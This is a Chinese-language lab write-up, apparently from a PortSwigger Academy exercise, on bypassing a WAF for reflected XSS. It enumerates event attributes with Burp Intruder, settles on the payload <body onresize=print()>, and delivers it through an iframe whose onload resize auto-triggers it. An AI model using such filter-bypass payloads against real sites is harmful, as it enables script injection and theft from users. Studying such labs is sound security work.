> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-html-with-blocked-tags.md).

# HTML 中被阻止标签的反射型 XSS

### 在大多数标签和属性被阻止的情况下，HTML 上下文中的反射型 XSS

此实验在搜索功能中包含一个反射型 XSS 漏洞，但应用防火墙（WAF）阻止了最常见的 XSS 向量。/ 要解决该实验，你必须绕过 WAF 并触发 `print()` 函数。

* 尝试像以下这样的经典载荷 `<h1>test</h1>`, `<img` 或 `<script` 答案是：“不允许使用标签”。

```html
<h1>test</h1>
<img
<script
...
```

<figure><img src="/files/7c398994d801592253c441decf220183cc6c95fb" alt=""><figcaption></figcaption></figure>

* 我用 Burp Suite 拦截了页面，并通过 Intruder 进行了邮件发送。

<figure><img src="/files/1e2dd9decbbe83143cf4e61121f8e0fb2ad1ca29" alt=""><figcaption></figcaption></figure>

我复制了事件属性（事件处理程序）的类型，并在 PortSwigger 的速查表中测试了其中几个。

<figure><img src="/files/baeda7b5340cab27d0e7e9d8544c885fcd0f1dd4" alt=""><figcaption></figcaption></figure>

* J

<figure><img src="/files/94d0c34b57256393141e625d510ff026fa5025a8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/54e8b7a65ba7243d5f2abea6597b1de261dd302e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2df2e99981adb19f06bd6fa28607ea9793370f8d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2d80f3a4a9033ae21fa8205e37fd4797cff92e63" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8611b0e7124a3407db00b239d781c7ec69285936" alt=""><figcaption></figcaption></figure>

```
<body test=1>
```

<figure><img src="/files/38053e5db3c3278aafb07721dc4687dbf1da776e" alt=""><figcaption></figcaption></figure>

* 我已经筛选/尝试了几个事件属性，并将重点放在 `onresize`.

```javascript
<body onresize=alert(0)>
```

已测试并有效的载荷：

* 直接注入： `<body onresize=alert(0)>` —— 通过调整大小（缩放滚轮）会弹出 alert。

<figure><img src="/files/6f2264f57efc99059bb950c083d2775f72567b8b" alt=""><figcaption></figcaption></figure>

最终目标：调用 `print()` 而不是 `alert()`:

```javascript
<body onresize=print()>
```

<figure><img src="/files/01f9178fc15b9f357c1f7e38fe6022ee2f35195e" alt=""><figcaption></figcaption></figure>

发送给受害者的利用 URL：

```javascript
https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=
```

通过 iframe 投递并自动触发：

* 为了强制 `onresize` 事件在框架中加载，将框架的宽度从其 `onload` 属性：

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>"</iframe>
```

{% endcode %}

<figure><img src="/files/8fa18388790ad3dca1ee500a479cb27c555db461" alt=""><figcaption></figcaption></figure>

以及在加载时调整宽度的版本：

{% code overflow="wrap" %}

```javascript
<iframe id="myframe" src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>" onload=this.style.width='100px'></iframe>
```

{% endcode %}

<figure><img src="/files/8c7f770760ac6d098cea167d37145e1e9dda32f2" alt=""><figcaption></figcaption></figure>

总结：通过注入一个被允许的事件属性（`onresize`）来调用 `print()`，然后通过 iframe 投递，并使用 `onload` 来改变大小以触发 `onresize`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-html-with-blocked-tags.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
